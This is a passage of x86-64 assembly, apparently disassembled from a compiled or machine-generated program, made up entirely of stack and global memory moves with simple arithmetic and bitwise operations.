mov dword [rsp + 0x3cc8], eax
mov rax, qword [rsp + 0x7050]
mov rcx, qword [rsp + 0x72d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x7438]
movzx eax, word [rax]
mov word [rsp + 0xcf8], ax
lea rax, [rsp + 0x86]
mov qword [0x14017a5f8], rax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78], al
lea rax, [rsp + 0x43]
mov qword [rsp + 0x7538], rax
mov rax, qword [rsp + 0x7288]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cc8], eax
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
mov dword [rsp + 0x3ccc], eax
mov rax, qword [rsp + 0x6c10]
mov rcx, qword [rsp + 0x7390]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x74a0], rax
mov rax, qword [rsp + 0x70d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7210]
mov qword [rsp + 0x7540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7540]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6d20], rax
movzx eax, word [rsp + 0xc14]
mov word [rsp + 0xcfc], ax
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6ce0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140179064], ax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x54], al
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x95], al
movzx eax, word [0x140179048]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x73a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x3cd0], eax
mov eax, dword [rsp + 0x3c64]
mov ecx, dword [rsp + 0x3b68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bb4], eax
lea rax, [rsp + 0x6c88]
mov qword [rsp + 0x7548], rax
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x49]
add eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6db0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a4f0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc40]
movzx ecx, word [rsp + 0xc14]
add eax, ecx
mov word [rsp + 0xcc0], ax
mov rax, qword [0x14017a570]
movzx eax, word [rax]
mov word [rsp + 0xd00], ax
movsx eax, word [rsp + 0xc60]
mov rcx, qword [rsp + 0x7528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc44], ax
mov eax, dword [rsp + 0x3cbc]
mov dword [rsp + 0x3cd4], eax
mov rax, qword [rsp + 0x7310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x7268]
mov rax, qword [rax]
mov qword [rsp + 0x7550], rax
mov rax, qword [rsp + 0x6c80]
mov ecx, dword [rsp + 0x3b94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3bec], eax
movzx eax, byte [rsp + 0x47]
mov rcx, qword [rsp + 0x6c48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5f], al
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a4e4], ax
mov rax, qword [rsp + 0x6cd0]
movzx eax, byte [rax]
mov byte [rsp + 0x96], al
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sar eax, cl
mov word [rsp + 0xcc0], ax
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc8]
or eax, ecx
mov rcx, qword [rsp + 0x7438]
mov word [rcx], ax
mov rax, qword [rsp + 0x7180]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x6bb0]
mov qword [rsp + 0x7558], rax
mov eax, dword [rsp + 0x3c9c]
movzx ecx, al
mov eax, dword [rsp + 0x3cd4]
shl eax, cl
mov dword [rsp + 0x3c0c], eax
lea rax, [0x140179010]
mov qword [rsp + 0x7560], rax
lea rax, [rsp + 0x40]
mov qword [0x14017a600], rax
mov rax, qword [rsp + 0x7018]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x7208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc24]
sub eax, ecx
mov rcx, qword [rsp + 0x7248]
mov word [rcx], ax
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xd04], ax
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85]
add eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x74b0]
mov eax, dword [rax]
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x7380]
mov rcx, qword [rsp + 0x6df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x71c0], rax
mov rax, qword [rsp + 0x73c8]
mov rcx, qword [rsp + 0x74e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7480]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x3cdc], eax
lea rax, [rsp + 0x44]
mov qword [0x14017a608], rax
mov rax, qword [rsp + 0x6f80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc74]
sub eax, ecx
mov word [rsp + 0xcdc], ax
lea rax, [rsp + 0xcec]
mov qword [rsp + 0x7568], rax
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov byte [rsp + 0x52], al
lea rax, [rsp + 0xc74]
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x6d70]
mov rcx, qword [rsp + 0x72b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70b0]
mov rcx, qword [rsp + 0x7120]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7318], rax
mov eax, dword [rsp + 0x3c90]
mov dword [rsp + 0x3ce0], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7288]
mov qword [rsp + 0x7578], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7578]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3be4], eax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x57]
xor eax, ecx
mov byte [0x14017a4d7], al
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x7580], rax
mov rax, qword [rsp + 0x7080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6db0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x70], al
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x70e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7348]
mov word [rcx], ax
mov rax, qword [rsp + 0x6fd0]
movzx eax, byte [rax]
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6db8], rax
lea rax, [rsp + 0x7038]
mov qword [rsp + 0x7588], rax
mov rax, qword [rsp + 0x7498]
mov rcx, qword [rsp + 0x7478]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b58], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc4], eax
movsx eax, word [rsp + 0xc80]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov word [0x14017904c], ax
lea rax, [rsp + 0x57]
mov qword [rsp + 0x7590], rax
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xcfc]
add eax, ecx
mov word [rsp + 0xc30], ax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x7598], rax
mov rax, qword [rsp + 0x7030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc70]
and eax, ecx
mov word [rsp + 0xc88], ax
mov rax, qword [rsp + 0x7330]
mov eax, dword [rax]
mov dword [rsp + 0x3ce4], eax
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x7238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x74d0], rax
mov rax, qword [rsp + 0x7350]
mov rcx, qword [rsp + 0x6c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c88], eax
mov rax, qword [rsp + 0x6ff8]
mov rax, qword [rax]
mov qword [rsp + 0x75a0], rax
lea rax, [rsp + 0x78]
mov qword [0x14017a610], rax
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov word [rsp + 0xc10], ax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x75a8], rax
movzx eax, word [rsp + 0xc74]
movzx ecx, word [rsp + 0xcfc]
add eax, ecx
mov rcx, qword [rsp + 0x7408]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc18]
shl eax, cl
mov word [rsp + 0xc2c], ax
lea rax, section..data
mov qword [rsp + 0x75b0], rax
mov rax, qword [rsp + 0x6f68]
mov rcx, qword [rsp + 0x7588]
mov qword [rsp + 0x75b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x75b8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7378]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c24]
mov dword [rsp + 0x3ce8], eax
mov rax, qword [rsp + 0x7308]
mov rcx, qword [rsp + 0x7138]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x74f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7590]
movzx eax, byte [rax]
mov byte [0x14017a4fb], al
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
or eax, ecx
mov word [rsp + 0xc08], ax
movzx eax, word [rsp + 0xc24]
mov word [rsp + 0xd08], ax
mov rax, qword [0x14017a568]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68]
and eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x8d]
mov qword [rsp + 0x75c0], rax
mov rax, qword [rsp + 0x6fc0]
mov rcx, qword [rsp + 0x73d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7380]
mov rcx, qword [rsp + 0x7198]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6d00]
mov qword [rcx], rax
lea rax, [rsp + 0x3c84]
mov qword [rsp + 0x75c8], rax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7100]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d98], rax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x94]
sub eax, ecx
mov byte [0x14017901e], al
lea rax, [rsp + 0x73]
mov qword [rsp + 0x75d0], rax
mov rax, qword [rsp + 0x6dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x74b8]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x75d8], rax
movsx eax, word [rsp + 0xc94]
movsx ecx, word [rsp + 0xc28]
and eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x7460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov qword [rsp + 0x75e0], rax
mov rax, qword [rsp + 0x7350]
mov rcx, qword [rsp + 0x7180]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cc4], eax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov dword [rsp + 0x3cec], eax
mov rax, qword [0x14017a5e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7340]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14017902e], al
mov rax, qword [0x14017a560]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7000]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc5c], ax
movzx eax, word [rsp + 0xc10]
mov word [rsp + 0xd0c], ax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x7130]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x92], al
lea rax, [0x140179010]
mov qword [rsp + 0x75e8], rax
mov rax, qword [rsp + 0x6dc0]
mov ecx, dword [rsp + 0x3b34]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e98]
mov ecx, dword [rsp + 0x3c60]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3be4], eax
lea rax, [rsp + 0x6f10]
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f18]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xce8], ax
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6c38]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179044], ax
movzx eax, word [rsp + 0xcac]
mov word [rsp + 0xd10], ax
movzx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
movzx eax, word [rsp + 0xc7c]
mov word [rsp + 0xd14], ax
mov rax, qword [rsp + 0x6c88]
mov rcx, qword [rsp + 0x74e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7128], rax
mov rax, qword [rsp + 0x6df0]
mov rcx, qword [rsp + 0x6fb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6cc8], rax
mov eax, dword [rsp + 0x3cd8]
mov dword [rsp + 0x3cf0], eax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7350]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x4c]
mov qword [0x14017a618], rax
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x8f]
add eax, ecx
mov rcx, qword [rsp + 0x6fd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x75d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov rcx, qword [rsp + 0x6f00]
mov byte [rcx], al
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x75f8], rax
mov eax, dword [rsp + 0x3c50]
mov ecx, dword [rsp + 0x3cd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c68], eax
lea rax, [rsp + 0x3c60]
mov qword [rsp + 0x7600], rax
mov rax, qword [rsp + 0x6e48]
movzx ecx, al
mov rax, qword [rsp + 0x6ee0]
shl rax, cl
mov qword [rsp + 0x6e20], rax
mov rax, qword [rsp + 0x7380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7250]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7430], rax
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x7608], rax
movsx eax, byte [rsp + 0x4a]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14017900c], al
mov rax, qword [0x14017a5d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7208]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x6db0]
movzx eax, byte [rax]
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6dc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcc4], ax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x67]
and eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x75b0]
mov eax, dword [rax]
mov dword [rsp + 0x3cf4], eax
mov rax, qword [rsp + 0x72d0]
mov ecx, dword [rsp + 0x3cc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c78], eax
lea rax, [rsp + 0x70c8]
mov qword [rsp + 0x7610], rax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x6d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
lea rax, [rsp + 0xc60]
mov qword [0x14017a620], rax
mov rax, qword [rsp + 0x6fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x9b], al
movzx eax, word [0x140179018]
movzx ecx, word [rsp + 0xcfc]
add eax, ecx
mov word [rsp + 0xce4], ax
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7170]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8a], al
lea rax, [0x14017901e]
mov qword [rsp + 0x7618], rax
mov eax, dword [rsp + 0x3c58]
mov ecx, dword [rsp + 0x3cd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
lea rax, [rsp + 0x3b68]
mov qword [rsp + 0x7620], rax
mov rax, qword [rsp + 0x73c8]
mov rcx, qword [rsp + 0x75e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6f50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fc8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0x7158]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179044], ax
lea rax, [0x14017901c]
mov qword [rsp + 0x7628], rax
mov rax, qword [rsp + 0x74b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7248]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
mov rcx, qword [0x14017a5b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcc0], ax
mov eax, dword [rsp + 0x3cf0]
mov ecx, dword [rsp + 0x3c68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c6c], eax
mov rax, qword [rsp + 0x6c58]
mov eax, dword [rax]
mov dword [rsp + 0x3cf8], eax
mov rax, qword [rsp + 0x7338]
movzx ecx, al
mov rax, qword [rsp + 0x6c50]
shl rax, cl
mov qword [rsp + 0x71b8], rax
mov rax, qword [rsp + 0x70b0]
mov rax, qword [rax]
mov qword [rsp + 0x7630], rax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7028]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017902a], al
mov rax, qword [0x14017a550]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
add eax, ecx
mov byte [rsp + 0x5e], al
movsx eax, word [rsp + 0xc80]
movsx ecx, word [rsp + 0xcb4]
add eax, ecx
mov word [rsp + 0xcec], ax
mov rax, qword [rsp + 0x6f80]
movzx eax, word [rax]
mov word [rsp + 0xd18], ax
mov rax, qword [0x14017a5e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
and eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
lea rax, [rsp + 0x3c8c]
mov qword [rsp + 0x7638], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x7120]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7068], rax
mov eax, dword [0x140179004]
mov dword [rsp + 0x3cfc], eax
mov rax, qword [rsp + 0x6cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7128]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7268]
mov qword [rcx], rax
lea rax, [rsp + 0xc0c]
mov qword [0x14017a628], rax
mov rax, qword [0x14017a620]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7608]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcd8], ax
lea rax, [rsp + 0x82]
mov qword [rsp + 0x7640], rax
movsx eax, byte [rsp + 0x91]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0x70e8]
movzx eax, word [rax]
mov word [rsp + 0xd1c], ax
mov rax, qword [rsp + 0x6da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x74f0]
mov rcx, qword [rsp + 0x7050]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7508]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov qword [rsp + 0x7648], rax
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c64], eax
lea rax, [rsp + 0x75]
mov qword [0x14017a630], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x7650], rax
movzx eax, word [0x140179040]
movzx ecx, word [rsp + 0xd18]
sub eax, ecx
mov word [rsp + 0xc14], ax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x80]
or eax, ecx
mov byte [rsp + 0x46], al
mov rax, qword [rsp + 0x7258]
movzx eax, word [rax]
mov word [rsp + 0xd20], ax
mov rax, qword [rsp + 0x7478]
mov eax, dword [rax]
mov ecx, dword [0x14017a4d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6e40]
mov dword [rcx], eax
lea rax, [rsp + 0x3c04]
mov qword [rsp + 0x7658], rax
mov rax, qword [rsp + 0x74d0]
mov rcx, qword [rsp + 0x7548]
mov qword [rsp + 0x7660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7660]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7428], rax
mov rax, qword [rsp + 0x6fb0]
mov rax, qword [rax]
mov qword [rsp + 0x7668], rax
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [rsp + 0x98]
sar eax, cl
mov rcx, qword [0x14017a548]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c08]
movsx eax, word [rax]
movsx ecx, word [0x140179034]
and eax, ecx
mov rcx, qword [rsp + 0x73e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x44]
movsx ecx, byte [rsp + 0x96]
sub eax, ecx
mov byte [rsp + 0x5b], al
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x7670], rax
mov rax, qword [rsp + 0x7158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7000]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov qword [rsp + 0x7678], rax
mov rax, qword [rsp + 0x7610]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7100]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x7420]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x71a8]
mov dword [rcx], eax
lea rax, [rsp + 0x3c58]
mov qword [rsp + 0x7680], rax
mov rax, qword [rsp + 0x7148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a578]
mov word [rcx], ax
mov rax, qword [0x14017a588]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7448]
mov byte [rcx], al
lea rax, [rsp + 0x58]
mov qword [rsp + 0x7688], rax
movzx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0x71d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4b], al
mov rax, qword [rsp + 0x70f8]
mov rax, qword [rax]
mov qword [rsp + 0x7690], rax
mov eax, dword [rsp + 0x3c7c]
mov ecx, dword [rsp + 0x3cb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x7508]
mov rax, qword [rax]
mov qword [rsp + 0x7698], rax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6c20]
mov qword [rsp + 0x76a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x76a0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3ce8], eax
movzx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x70b8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
mov rax, qword [0x14017a608]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017902f], al
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
mov rcx, qword [0x14017a5e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc08], ax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x76a8], rax
mov rax, qword [rsp + 0x75c8]
mov ecx, dword [rsp + 0x3c04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3be4], eax
lea rax, [rsp + 0x74d0]
mov qword [rsp + 0x76b0], rax
mov rax, qword [rsp + 0x6c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d08], rax
mov eax, dword [rsp + 0x3c0c]
mov ecx, dword [rsp + 0x3c2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7040]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd10]
mov word [rsp + 0xd24], ax
movsx eax, byte [0x14017900f]
mov rcx, qword [rsp + 0x7448]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x6a38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f80]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7400]
mov rcx, qword [rsp + 0x6f40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7160]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x3d00], eax
mov rax, qword [rsp + 0x72b8]
mov rcx, qword [rsp + 0x7518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75e0], rax
mov eax, dword [rsp + 0x3c58]
mov dword [rsp + 0x3d04], eax
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
mov rcx, qword [0x14017a548]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9a], al
movzx eax, word [rsp + 0xcc4]
